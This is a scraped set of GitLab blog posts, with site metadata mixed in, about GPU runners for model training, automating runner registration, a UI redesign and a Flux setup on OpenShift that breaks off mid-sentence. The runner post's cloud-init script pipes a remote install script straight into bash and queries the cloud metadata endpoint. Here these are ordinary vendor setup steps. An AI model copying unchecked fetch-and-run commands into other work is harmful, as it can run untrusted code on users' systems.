ModelOps with Python\nIn this example, we train a model on our GPU-enabled runner defined in the `train.py` file using the Nvidia CUDA base Ubuntu image mentioned earlier.\n\n`.gitlab-ci.yml` file:\n```yaml\nmodel-training:\n  stage: build\n  tags:\n    - saas-linux-medium-amd64-gpu-standard\n  image: nvcr.io/nvidia/cuda:12.1.1-base-ubuntu22.04\n  script:\n    - apt update\n    - apt install -y --no-install-recommends python3 python3-pip \n    - pip3 install -r requirements.txt\n    - python3 --version\n    - python3 train.py\n```\n\n### Example 2: Scientific simulations and HPC\nComplex scientific simulations require significant computing resources. GPU-enabled runners can accelerate these simulations, allowing you to get results in less time.\n\n`.gitlab-ci.yml` file:\n```yaml\nsimulation-run:\n  stage: build\n  tags:\n    - saas-linux-medium-amd64-gpu-standard\n  image: nvcr.io/nvidia/cuda:12.1.1-base-ubuntu22.04\n  script:\n    - ./run_simulation --input input_file.txt\n```\n\n## Advanced usage examples\nLet's go through some real-world scenarios of how we use GPU-enabled runners at GitLab.\n\n### Example 3: Python model training with a custom Docker image\nFor our third example, we will use this [handwritten digit recognition model](https://gitlab.com/gitlab-org/modelops/demos/handwritten-digit-recognition). We are using this project as a demo to showcase or try out new ModelOps features.\n\n[Open the project](https://gitlab.com/gitlab-org/modelops/demos/handwritten-digit-recognition) and fork it into your preferred namespace. You can follow the next steps using the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/) in the browser, or clone the project locally to create and edit the files. Some of the next steps require you to override existing configuration in the `Dockerfile` and `.gitlab-ci.yml`. \n\nAs we need more pre-installed components and want to save installation time when training the model, we decided to create a custom Docker image with all dependencies pre-installed. This also gives us full control over the build environment we use and allows us to reuse it locally without relying on the `.gitlab-ci.yml' implementation.\n\nIn addition, we are using a more complete pipeline configuration with the following stages:\n\n```yaml\nstages:\n  - build\n  - test\n  - train\n  - publish\n```\n\n![GPU pipeline overview](https://about.gitlab.com/images/blogimages/2023-07-06-gpu-enabled-runners-for-modelops/pipeline-overview.png)\n\n#### Building a custom Docker image\nThe first step is to define a `Dockerfile`. In this example, we start with the Nvidia CUDA base Ubuntu image and then install `Python3.10`. Using `pip install`, we then add all the required libraries specified in a `requirements.txt` file.\n\n```docker\nFROM nvcr.io/nvidia/cuda:12.1.1-base-ubuntu22.04\n\n1. Update and install required packages\nRUN apt-get update && apt-get install -y \\\n    python3.10 \\\n    python3.10-dev \\\n    python3-pip \\\n    && rm -rf /var/lib/apt/lists/*\n\n2. Set Python 3.10 as the default Python version\nRUN ln -s /usr/bin/python3.10 /usr/bin/python\n\n3. Copy the requirements.txt file\nCOPY requirements.txt /tmp/requirements.txt\n\n4. Install Python dependencies\nRUN pip3 install --no-cache-dir -r /tmp/requirements.txt\n```\n\nIn the `.gitlab-ci.yml` file we use [Kaniko](https://docs.gitlab.com/ee/ci/docker/using_kaniko.html) to build the Docker image and push it into the [GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/).\n\n```yaml\nvariables:\n  IMAGE_PATH: \"${CI_REGISTRY_IMAGE}:latest\"\n  GIT_STRATEGY: fetch\n\ndocker-build:\n  stage: build\n  tags:\n    - saas-linux-medium-amd64\n  image:\n    name: gcr.io/kaniko-project/executor:v1.9.0-debug\n    entrypoint: [\"\"]\n  script:\n    - /kaniko/executor\n      --context \"${CI_PROJECT_DIR}\"\n      --dockerfile \"${CI_PROJECT_DIR}/Dockerfile\"\n      --destination \"${IMAGE_PATH}\"\n      --destination \"${CI_REGISTRY_IMAGE}:${CI_COMMIT_TAG}\"\n  rules:\n    - if: $CI_COMMIT_TAG\n```\n\nIn [rules](https://docs.gitlab.com/ee/ci/yaml/#rules) we define to only trigger the Docker image build for a new git tag. The reason is simple - we don't want to run the image build process for every time we train the model.\n\nTo start the image build job [create a new Git tag](https://docs.gitlab.com/ee/user/project/repository/tags/#create-a-tag). You can either do this by using `git tag -a v0.0.1` command or via UI. Navigate into `Code > Tags` and click on `New Tag`. As Tag name type `v0.0.1` to create a new Git tag and trigger the job.\n\nNavigate to `Build > Pipelines` to verify the `docker-build` job status, and then locate the tagged image following [`Deploy > Container Registry`](https://docs.gitlab.com/ee/user/packages/container_registry/).\n\n![Docker image](https://about.gitlab.com/images/blogimages/2023-07-06-gpu-enabled-runners-for-modelops/gpu-docker-image.png)\n\n#### Testing the Docker image\nTo test the image, we will use the following `test-image` job and run `nvidia-smi` and check that the GPU drivers are working correctly.\n\nThe job configuration in `.gitlab-ci.yml` file looks as follows:\n\n```yaml\ntest-image:\n  stage: test\n  tags:\n    - saas-linux-medium-amd64-gpu-standard\n  image: $IMAGE_PATH\n  script:\n    - nvidia-smi\n  rules:\n    - if: $CI_COMMIT_TAG\n```\n\nWe also include container scanning and more [security scanning](https://docs.gitlab.com/ee/user/application_security/) templates in the `.gitlab-ci.yml` file.\n\n```yaml\ninclude:\n  - template: Security/Secret-Detection.gitlab-ci.yml\n  - template: Security/Container-Scanning.gitlab-ci.yml\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n  - template: Security/SAST.gitlab-ci.yml\n```\n\n#### Training the model with our custom Docker image\nNow that we have built our Custom docker image, we can train the model without installing any more dependencies in the job.\n\nThe train job in our `.gitlab-ci.yml` looks like this:\n\n```yaml\ntrain:\n  stage: train\n  tags:\n    - saas-linux-medium-amd64-gpu-standard\n  image: $IMAGE_PATH\n  script:\n    - python train_digit_recognizer.py\n  artifacts:\n    paths:\n      - mnist.h5\n    expose_as: 'trained model'\n```\n\nNavigate to `Build > Pipelines` to see the job logs.\n\n![Train job logs](https://about.gitlab.com/images/blogimages/2023-07-06-gpu-enabled-runners-for-modelops/train-job-log.png)\n\nFrom here, you can also inspect the `train` job artifacts.\n\n#### Publishing the model\nIn the last step of our `.gitlab-ci.yml` file, we are going to publish the trained model.\n\n```yaml\npublish:\n  stage: publish\n  when: manual\n  dependencies:\n    - train\n  image: curlimages/curl:latest\n  script:\n    - 'curl --header \"JOB-TOKEN: $CI_JOB_TOKEN\" --upload-file mnist.h5 \"${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/MNIST-Model/${CI_COMMIT_TAG}/mnist.h5\"'\n```\n\nNavigate to `Build > Pipelines` and trigger the `publish` job manually. After that, navigate into `Deploy > Package Registry` to verify the uploaded trained model.\n\n![Package Registry](https://about.gitlab.com/images/blogimages/2023-07-06-gpu-enabled-runners-for-modelops/package-registry.png)\n\n### Example 4: Jupyter notebook model training for ML-powered GitLab Issue triage\n\nIn the last example, we are using our GPU-enabled runner to train the internal [GitLab model to triage issues](https://gitlab.com/gitlab-org/ml-ops/tanuki-stan/-/tree/using-gpu-enabled-runner). We use this model at GitLab to determine and assign issues to the right team from the context of the issue description.\n\nDifferent from the previous examples, we now use the [`tensorflow-gpu` container image](https://hub.docker.com/r/tensorflow/tensorflow) and install the [requirements](https://gitlab.com/gitlab-org/ml-ops/tanuki-stan/-/blob/using-gpu-enabled-runner/notebooks/requirements.tensorflow-gpu.txt) in the job itself.\n\n`.gitlab-ci.yml` configuration:\n\n```yaml\ntrain:\n  tags:\n    - saas-linux-medium-amd64-gpu-standard\n  image: tensorflow/tensorflow:2.4.1-gpu\n  script:\n    - nvidia-smi\n    - cd notebooks\n    - pip install -r requirements.tensorflow-gpu.txt\n    - jupyter nbconvert --to script classify_groups.ipynb\n    - apt-get install -y p7zip-full\n    - cd ../data\n    - 7z x -p${DATA_PASSWORD} gitlab-issues.7z\n    - cd ../notebooks\n    - python3 classify_groups.py\n  artifacts:\n    paths:\n      - models/\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\" || $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH  \n      when: manual\n      allow_failure: true\n```\n\n![TensorFlow train](https://about.gitlab.com/images/blogimages/2023-07-06-gpu-enabled-runners-for-modelops/tensorflow-train.png)\n\nIf you are interested in another Jupyter notebook example, check out our recently published video on [Training ML Models using GPU-enabled runner](https://youtu.be/tElegG4NCZ0).\n\n\u003Ciframe width=\"768\" height=\"432\" src=\"https://www.youtube.com/embed/tElegG4NCZ0\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen>\u003C/iframe>\n\n## Results\nThe integration of GPU-enabled runners on GitLab.com SaaS opens up a new realm of possibilities for ModelOps and HPC workloads.\nBy harnessing the power of GPU-enabled runners, you can accelerate your machine learning workflows, enable faster data processing, and improve scientific simulations, all while taking full advantage of a SaaS solution and avoiding the hurdles of hosting and maintaining your own build hardware.\n\nWhen you try the GPU-enabled runners, please share your experience in our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/403008).\n\nCompute-heavy workloads can take a long time. A known problem is timeouts after three hours because of the current [configuration of GitLab SaaS runners](https://docs.gitlab.com/ee/ci/runners/#how-saas-runners-work).\nWe plan to release more powerful compute for future iterations to handle heavier workloads faster. You can follow updates about GPU-enabled runners in the [GPU-enabled runners epic](https://gitlab.com/groups/gitlab-org/-/epics/8648) and learn more in the [GPU-enabled runners documentation](https://docs.gitlab.com/ee/ci/runners/saas/gpu_saas_runner.html).\n",[943,790,110,695,754],{"slug":9415,"featured":6,"template":678},"empowering-modelops-and-hpc-workloads-with-gpu-enabled-runners","content:en-us:blog:empowering-modelops-and-hpc-workloads-with-gpu-enabled-runners.yml","Empowering Modelops And Hpc Workloads With Gpu Enabled Runners","en-us/blog/empowering-modelops-and-hpc-workloads-with-gpu-enabled-runners.yml","en-us/blog/empowering-modelops-and-hpc-workloads-with-gpu-enabled-runners",{"_path":9421,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9422,"content":9428,"config":9432,"_id":9434,"_type":16,"title":9435,"_source":17,"_file":9436,"_stem":9437,"_extension":20},"/en-us/blog/how-to-automate-creation-of-runners",{"title":9423,"description":9424,"ogTitle":9423,"ogDescription":9424,"noIndex":6,"ogImage":9425,"ogUrl":9426,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9426,"schema":9427},"How to automate the creation of GitLab Runners","Follow this step-by-step guide for automating runner setup using new runner creation workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664087/Blog/Hero%20Images/tanukicover.jpg","https://about.gitlab.com/blog/how-to-automate-creation-of-runners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to automate the creation of GitLab Runners\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2023-07-06\",\n      }",{"title":9423,"description":9424,"authors":9429,"heroImage":9425,"date":9411,"body":9430,"category":734,"tags":9431},[5037],"\n\nAutomating the creation of GitLab Runners is an essential tactic in optimizing the operations and management of a runner fleet. Since announcing the [deprecation and planned removal of the legacy runner registration token](https://docs.gitlab.com/ee/architecture/blueprints/runner_tokens/#next-gitlab-runner-token-architecture) last year, there have been various questions by customers and the user community regarding the impact of the new workflow on any automation they rely on for creating and registering runners. This is a step-by-step guide for automating runner setup using the new runner creation workflows as depicted in the sequence diagram.\n\n![GitLab Runner create - sequence diagram](https://about.gitlab.com/images/blogimages/2023-06-19-how-to-automate-creating-runners/runner_create_sequence_diagram.png){: .shadow}\n\n## New terminology and concepts\nBefore we dive into the automation steps, let’s first review a few new concepts with the runner creation process and how that differs from the registration token-based method. With the `registration token` method, a `registration token` is available for the instance, for each group, and for each project. Therefore, in a large GitLab installation, with many groups, sub-groups, and projects, you can have tens of hundreds of registration tokens that any authorized user can use to connect a runner. There are two steps to authorizing a runner (the application that you install on a target computing platform) to a GitLab instance:\n1. Retrieve a registration token.\n2. Run the register command in the runner application using the previously retrieved registration token.\n\nThe workflow images below depict the runner setup steps using the registration token compared with the new runner creation process.\n\n![GitLab Runner registration workflows](https://about.gitlab.com/images/blogimages/2023-06-19-how-to-automate-creating-runners/runner_registration_workflows.png){: .shadow}\n\n### Reusable runner configurations\nNow, in the registration token method, if you authenticated multiple runners using the same registration token (a valid use case), each runner entity would be visible in the UI in a separate row in the list view. The new creation method introduces the concept of a reusable runner configuration. For example, if you have to deploy multiple runners at the instance level, each with the same configuration (executor type, tags, etc.), you simply create a runner and configuration **once**, then register each individual runner with the same authentication token that you retrieved from the first runner creation. Each of these runners is now displayed in the UI in a nested hierarchy.\n\n![Runner detailed view with shared configurations](https://about.gitlab.com/images/blogimages/2023-06-19-how-to-automate-creating-runners/runner_detail_shared_configs.png){: .shadow}\n\nWe heard from many of you that your Runners view was cluttered because each runner created received its own row in the table, even if they were the exact same configuration as 100 others. With this change, our intent is to ensure that you have the flexibility you need to configure a runner fleet at scale while ensuring that you can still easily understand and manage the fleet in the GitLab Runners view. We understand that this is a paradigm shift that may take some getting used to.\n\n## Automation steps for creating a runner\nHere are the automation steps to create a runner.\n\n### Step 1: Create an access token\nYou will first need to create an access token. A [personal access token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) for an administrator account will allow you to create runners at the instance, group, and project levels.\n\nIf you only need to create a group or project runner, then it is best to use a group access token or project access token, respectively. For a group or project, navigate to `Settings / Access Tokens` and create a token. You must specify a name, the token expiration date, role, and scope. For the role, select `Owner`; for the scopes, select `create_runner`.\n\nNote: The access token is only visible once in the UI. You will need to store this token in a secure location - for example, a secrets management solution such as [Hashicorp Vault](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/) or the [Keeper Secrets Manager Terraform plugin](https://docs.keeper.io/secrets-manager/secrets-manager/integrations/terraform).\n\n![GitLab Runner registration workflows](https://about.gitlab.com/images/blogimages/2023-06-19-how-to-automate-creating-runners/project_access_token.png){: .shadow}\n\n### Step 2: Use the access token to create a runner in the GitLab instance\nNow that you have an access token scoped to the instance, group, or project, the next step is to use that token to create a runner automatically. In this example, we will simply invoke a POST REST endpoint in a terminal using CURL.\n\n```\ncurl -sX POST https://gitlab.example.com/api/v4/user/runners --data runner_type=group_type --data \"group_id=\u003Ctarget_group_or_project_id>\" --data \"description=software-eng-docker-builds-runner\" --data \"tag_list=\u003Cyour comma-separated tags>\" --header \"PRIVATE-TOKEN: \u003Cyour_access_token>\"\n```\n\nOnce this step is complete, the newly created runner configuration is visible in the GitLab UI. As the actual runner has not yet been configured, the status displayed is `Never contacted`.\n\nThe API will return a message with the following fields: `id`, `token`, and `token_expires_at`. You must save the value for the `token` as it will only be displayed once. \n\nAs mentioned above, a critical point to note in the new runner creation is that you can reuse the runner token value to register multiple runners. If you choose to do that, runners created with the same token will be grouped in the Runners list. Whichever runner contacted GitLab most recently will be the one whose unique data (IP address, version, last contact time and status) displays in the list. You can still view all the runners in that group _and_ compare all of their unique data by going to the details page for that runner. Each runner in the group is uniquely identified by their `system_id`.\n\nAt this point, you might ask yourself, what’s the difference between this new workflow and the workflow that relies on the registration token? The benefits are:\n1. You can now quickly identify the user that created a runner configuration. Not only does this add a layer of security compared to the old method, but it also simplifies troubleshooting runner performance issues, especially when your fleet expands.\n1. Only the creator of the runner or administrator(s) can edit crucial configuration details like tags, the ability to run untagged jobs, the setting to lock to only run jobs in the current projects it is shared with, and more.\n\n## Automation of runner install and registration\nWith the runner configuration creation steps completed, you now have a runner or runners configured in your GitLab instance and valid runner tokens that you can use to register a runner. You can manually install the runner application to a target compute host or automate the runner application installation. If you plan to host the runner on a public cloud virtual machine instance – for example, [Google Cloud Compute Engine](https://cloud.google.com/compute/docs/instances) – then a good [example pattern](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/1932#note_1172713979) provided by one of our customers for automating the runner install and registration process is as follows:\n1. Use [Terraform infrastructure as code](https://docs.gitlab.com/ee/user/infrastructure/iac/) to install the runner application to a virtual machine hosted on GCP.\n1. Use the [GCP Terraform provider](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_instance) and specifically the `metadata` key to automatically add the runner authentication token to the runner configuration file on the newly created GCP virtual machine.\n1. Register the newly installed runner with the target GitLab instance using a [cloud-init](https://cloudinit.readthedocs.io/en/latest/index.html#) script populated from the GCP terraform provider.\n\n**Example cloud-init script**\n\n```shell\n#!/bin/bash\napt update\n\ncurl -L \"https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh\" | bash\nGL_NAME=$(curl 169.254.169.254/computeMetadata/v1/instance/name -H \"Metadata-Flavor:Google\")\nGL_EXECUTOR=$(curl 169.254.169.254/computeMetadata/v1/instance/attributes/gl_executor -H \"Metadata-Flavor:Google\")\napt update\napt install -y gitlab-runner\ngitlab-runner register --non-interactive --name=\"$GL_NAME\" --url=\"https://gitlab.com\" --token=\"$RUNNER_TOKEN\" --request-concurrency=\"12\" --executor=\"$GL_EXECUTOR\" --docker-image=\"alpine:latest\"\nsystemctl restart gitlab-runner\n```\n\n## What's next?\nSo there you have it, an overview of how to automate runner creation, installation, and registration. To summarize in three simple steps:\n1. Use the API to create a runner token and configuration.\n1. Store the retrieved authentication token in a secrets management solution.\n1. Use infrastructure as code to install the runner application on a target compute host.\n\nOur long-term vision is to directly incorporate this automation lifecycle into the product to simplify your day-to-day runner fleet management operations.\n",[696,1444,1268],{"slug":9433,"featured":6,"template":678},"how-to-automate-creation-of-runners","content:en-us:blog:how-to-automate-creation-of-runners.yml","How To Automate Creation Of Runners","en-us/blog/how-to-automate-creation-of-runners.yml","en-us/blog/how-to-automate-creation-of-runners",{"_path":9439,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9440,"content":9446,"config":9450,"_id":9452,"_type":16,"title":9453,"_source":17,"_file":9454,"_stem":9455,"_extension":20},"/en-us/blog/meet-partner-the-good-docs-project",{"title":9441,"description":9442,"ogTitle":9441,"ogDescription":9442,"noIndex":6,"ogImage":9443,"ogUrl":9444,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9444,"schema":9445},"How The Good Docs Project uses GitLab for documentation as code and more","In this video interview, meet our new Open Source Partner, The Good Docs Project, and learn about the benefits they are extracting from the DevSecOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682841/Blog/Hero%20Images/documentation1.jpg","https://about.gitlab.com/blog/meet-partner-the-good-docs-project","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How The Good Docs Project uses GitLab for documentation as code and more\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2023-07-06\",\n      }",{"title":9441,"description":9442,"authors":9447,"heroImage":9443,"date":9411,"body":9448,"category":813,"tags":9449},[8083],"\n\n[The Good Docs Project](https://thegooddocsproject.dev/welcome/) wants to help improve software documentation across the entire [open source](https://go.gitlab.com/spHNym) ecosystem. The community provides templates and other resources to help open source developers write, maintain, and improve project documentation. Last year, they voted to migrate to GitLab. Since then, they've discovered how using an all-in-one DevSecOps platform can streamline and accelerate work in open source communities like theirs.\n\nThey've now joined the [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) community, and they're sharing their knowledge and resources with other open source projects also using GitLab to build a world where anyone can contribute.\n\nI sat down with some community members from The Good Docs Project to learn what brought them together, what motivates their work, and where they're headed next.\n\nIn this interview, you'll learn:\n* How switching to GitLab enabled an open source project to unify planning, development, and testing work onto a single platform\n* How a community of technical writers and editors uses GitLab to develop documentation as code\n* How an open source project built community-focused git toolchain training on GitLab\n\n### Watch the interview\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Bek7vLmNmME\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Learn more\n\nThe [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) are building the future of open source on GitLab. Connect with them on [Gitlab.com](https://gitlab.com/gitlab-com/marketing/community-relations/open-source-program/gitlab-open-source-partners).\n\nCover image by \u003Ca href=\"https://unsplash.com/@beatriz_perez?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Beatriz Pérez Moya\u003C/a> on \u003Ca href=\"https://unsplash.com/photos/XN4T2PVUUgk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>  \n{: .note}\n",[815,267,754],{"slug":9451,"featured":6,"template":678},"meet-partner-the-good-docs-project","content:en-us:blog:meet-partner-the-good-docs-project.yml","Meet Partner The Good Docs Project","en-us/blog/meet-partner-the-good-docs-project.yml","en-us/blog/meet-partner-the-good-docs-project",{"_path":9457,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9458,"content":9464,"config":9469,"_id":9471,"_type":16,"title":9472,"_source":17,"_file":9473,"_stem":9474,"_extension":20},"/en-us/blog/beautifying-of-our-ui",{"title":9459,"description":9460,"ogTitle":9459,"ogDescription":9460,"noIndex":6,"ogImage":9461,"ogUrl":9462,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9462,"schema":9463},"Beautifying our UI: Giving GitLab build features a fresh look","Get an inside look at how we are improving the usability of GitLab build features with multiple visual design improvements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682807/Blog/Hero%20Images/beautify.jpg","https://about.gitlab.com/blog/beautifying-of-our-ui","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Beautifying our UI: Giving GitLab build features a fresh look\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2023-07-05\",\n      }",{"title":9459,"description":9460,"authors":9465,"heroImage":9461,"date":9466,"body":9467,"category":8943,"tags":9468},[5114],"2023-07-05","\n\nThe current technical landscape is completely different from what it was this time last year. As the software development industry is busy evolving its understanding of _automating early and often_ in the presence of new AI capabilities, we have been focused on feature work. However, it's equally important to make sure we are adapting our UI to match up to the experience and addressing, where necessary, the misalignment between the two. \n\nIn a scaling product, where issues are competing to be prioritized, it might feel convenient to tackle the next feature issue as opposed to focusing on small visual design improvements. Advocating for the value that a small visual design change in isolation brings to the product is never easy for all the practical reasons, and this is where [the \"Beautifying our UI\" initiative](https://about.gitlab.com/handbook/product/ux/product-design/#beautifying-our-ui) becomes useful at GitLab. It allows a product designer and a frontend engineer to voluntarily pair up, like we did, and make self-directed improvements to the usability of GitLab.\n\nWe collaborated on many pipeline-related features in the past three years. As our responsibilities pulled us in different directions, we had to put many of our aspirational plans for improving the presentation of CI/CD features in GitLab on hold in favor of other more important things.\n\nHowever, once those were addressed, we decided to volunteer for a session of Beautifying our UI in the 16.1 milestone. To make the most of a single milestone, we began preparing a couple months in advance, soliciting ideas from team members and getting the design proposals ready in [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/394768/). After a quick prioritization exercise to understand which of the suggested improvements would be most meaningful to our users, we made a number of contributions to the product.\n\nHere are some of those contributions:\n\n### Improvement to pipeline detail page\nIn the process of troubleshooting a failing pipeline, users often have to visit their detail page for better insight into what's causing the failure. The top of the page previously had a table with all the metadata around that pipeline. Over the years, a lot of information was added to this table but the layout was never optimized to accommodate that information, which in return impacted the usability of the page. The page headers were also very different from other examples found in GitLab. \n\nBy critically looking at every piece of information displayed on the page, we made informed decisions using the qualitative insights and the usage data at hand to completely redesign the pipeline header.\n\n![image of pipeline detail page before](https://about.gitlab.com/images/blogimages/Beautifying-of-our-ui-16-1/pipeline-detail-before.png)\nBefore\n{: .note.text-center}\n\n![image of pipeline detail page after making changes](https://about.gitlab.com/images/blogimages/Beautifying-of-our-ui-16-1/pipeline-detail-after.png)\nAfter\n{: .note.text-center}\n\nThis work was substantial and while we did our best to avoid any negative impact to our users, we realize there might be a few issues. Please share your comments in this [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/414756) about the redesign and we'll prioritize addressing them.\n\nRedesigning the pipeline header came with a few technical challenges because a lot of the code was a mix between HAML and Vue. We had to slowly refactor the pipeline header over to Vue/GraphQL to allow our code to be more performant and maintainable. It’s pretty much like building a completely new feature — we had to get creative with passing data to the Vue app from Rails.\n\n### Harmonizing badges and link styles on pipeline list view\nThe pipeline index page (list view) is one of the most visited pages in GitLab because users need to make sure any failing pipelines are identified quickly for troubleshooting. Since there's a lot going on on this page, it is critical that the UI leads users' attention to the right areas. Previously, almost every link presented in the pipeline column had a different visual treatment, which made the page visually noisy and harmed the usability and scannability of the information. Our goal was to remove anything that isn't required and harmonize the visual language so it is easy for CI/CD users to perform their jobs effectively. \n\n![image of pipeline detail page before](https://about.gitlab.com/images/blogimages/Beautifying-of-our-ui-16-1/pipeline-index-page-before.png)\nBefore\n{: .note.text-center}\n\n\n![image of pipeline detail page after making changes](https://about.gitlab.com/images/blogimages/Beautifying-of-our-ui-16-1/pipeline-index-page-after.png)\nAfter\n{: .note.text-center}\n\n### Linking runner number to runner admin page\nTo allow easy management of runners across an instance, we've now provided easy access to the runner admin page right from the job detail page. Previously a static test, now the runner number can directly take users with the runner admin page where they can make changes to the specific runner's configuration.\n\n![image of cancel pipeline label](https://about.gitlab.com/images/blogimages/Beautifying-of-our-ui-16-1/runner-link-from-job-logs.png)\nLinking runner admin page from job logs page\n{: .note.text-center}\n\n### Improving tooltips and button text\nThe tooltips on the jobs list view were using native browser tooltips. We've changed those to use a design-system-compliant tooltip for consistency and better readability.  \n\nWe gathered some useful feedback on the usability of the button labels and took this as an opportunity to improve a few of them. Here's one example where we changed the label text for the button for canceling a running pipeline from **Cancel running** to **Cancel pipeline** and added an appropriate tooltip to clearly communicate the action. \n\n![image of cancel pipeline label](https://about.gitlab.com/images/blogimages/Beautifying-of-our-ui-16-1/cancel-pipeline-label.png)\nButton with new label text\n{: .note.text-center}\n\n## More to come\nWe are not stopping with this list! We will continue our partnership to bring in more visual and usability improvements to the continuous integration area in the coming months. If you are interested in taking a look at the complete list of changes we have made and the ones we still plan to make, [you can find the issue here](https://gitlab.com/gitlab-org/gitlab/-/issues/394768/). \n\n\n",[2249,2248],{"slug":9470,"featured":6,"template":678},"beautifying-of-our-ui","content:en-us:blog:beautifying-of-our-ui.yml","Beautifying Of Our Ui","en-us/blog/beautifying-of-our-ui.yml","en-us/blog/beautifying-of-our-ui",{"_path":9476,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9477,"content":9483,"config":9487,"_id":9489,"_type":16,"title":9490,"_source":17,"_file":9491,"_stem":9492,"_extension":20},"/en-us/blog/set-up-flux-for-gitops-on-openshift",{"title":9478,"description":9479,"ogTitle":9478,"ogDescription":9479,"noIndex":6,"ogImage":9480,"ogUrl":9481,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9481,"schema":9482},"Set up Flux for GitOps to deploy workloads on OpenShift","Learn how to set up a sample project, complete a bootstrap Flux installation, and authenticate your installation with a project deploy token.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682825/Blog/Hero%20Images/genericworkflow.jpg","https://about.gitlab.com/blog/set-up-flux-for-gitops-on-openshift","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Set up Flux for GitOps to deploy workloads on OpenShift\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bart Zhang\"}],\n        \"datePublished\": \"2023-07-05\",\n      }",{"title":9478,"description":9479,"authors":9484,"heroImage":9480,"date":9466,"body":9485,"category":734,"tags":9486},[4827],"\n\nIn February, we announced that [Flux CD would be our recommended approach to do GitOps with GitLab](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/). This tutorial explains how to set up GitLab and Flux to deploy workloads on Red Hat OpenShift. You’ll set up a sample project, complete a bootstrap Flux installation, and authenticate your installation with a project deploy token. By the end of this tutorial, you should be able to deploy an example NGINX workload to OpenShift from a GitLab Repo via Flux.\n\nYou can find the fully configured tutorial project in [this GitLab repository](https://gitlab.com/gitlab-partner-demos/red-hat-demos/flux). It works in conjunction with [this repository](https://gitlab.com/gitlab-partner-demos/red-hat-demos/web-app-manifests), which contains the example OpenShift manifest. \n\n### To set up Flux for GitOps:\n1. Create a personal access token\n2. Create the Flux repository\n3. Create the OpenShift manifest repository\n4. Configure Flux to sync your manifests\n5. Verify your configuration\n\n### Prerequisites:\nYou must have an OpenShift cluster running. Cluster-admin privileges are required to install Flux on OpenShift, which can either be installed via OperatorHub or the CLI.\n\nWhen installing Flux with CLI, you need to set the nonroot SCC for all controllers in the flux-system namespace like this:\n\n```\nNS=\"flux-system\"\noc adm policy add-scc-to-user nonroot system:serviceaccount:${NS}:kustomize-controller\noc adm policy add-scc-to-user nonroot system:serviceaccount:${NS}:helm-controller\noc adm policy add-scc-to-user nonroot system:serviceaccount:${NS}:source-controller\noc adm policy add-scc-to-user nonroot system:serviceaccount:${NS}:notification-controller\noc adm policy add-scc-to-user nonroot system:serviceaccount:${NS}:image-automation-controller\noc adm policy add-scc-to-user nonroot system:serviceaccount:${NS}:image-reflector-controller\n```\nExpected output:\n```\nclusterrole.rbac.authorization.k8s.io/system:openshift:scc:nonroot added: \"kustomize-controller\"\nclusterrole.rbac.authorization.k8s.io/system:openshift:scc:nonroot added: \"helm-controller\"\nclusterrole.rbac.authorization.k8s.io/system:openshift:scc:nonroot added: \"source-controller\"\nclusterrole.rbac.authorization.k8s.io/system:openshift:scc:nonroot added: \"notification-controller\"\nclusterrole.rbac.authorization.k8s.io/system:openshift:scc:nonroot added: \"image-automation-controller\"\nclusterrole.rbac.authorization.k8s.io/system:openshift:scc:nonroot added: \"image-reflector-controller\"\n```\n\nAlso, you'll need to [patch your Kustomization](https://access.redhat.com/documentation/en-us/openshift_container_platform/4.8/html/security_and_compliance/seccomp-profiles) to remove the SecComp Profile and enforce runUserAs to the same UID provided by the images to prevent OpenShift to alter the user expected by our controllers, prior to bootstrapping the cluster.\n\nYou’ll need to create a Git repository and clone it locally. I chose to create [the web-app-manifests repository](https://gitlab.com/gitlab-partner-demos/red-hat-demos/web-app-manifests) to store my manifest file once it is created through the following steps.\n\nCreate the file structure required 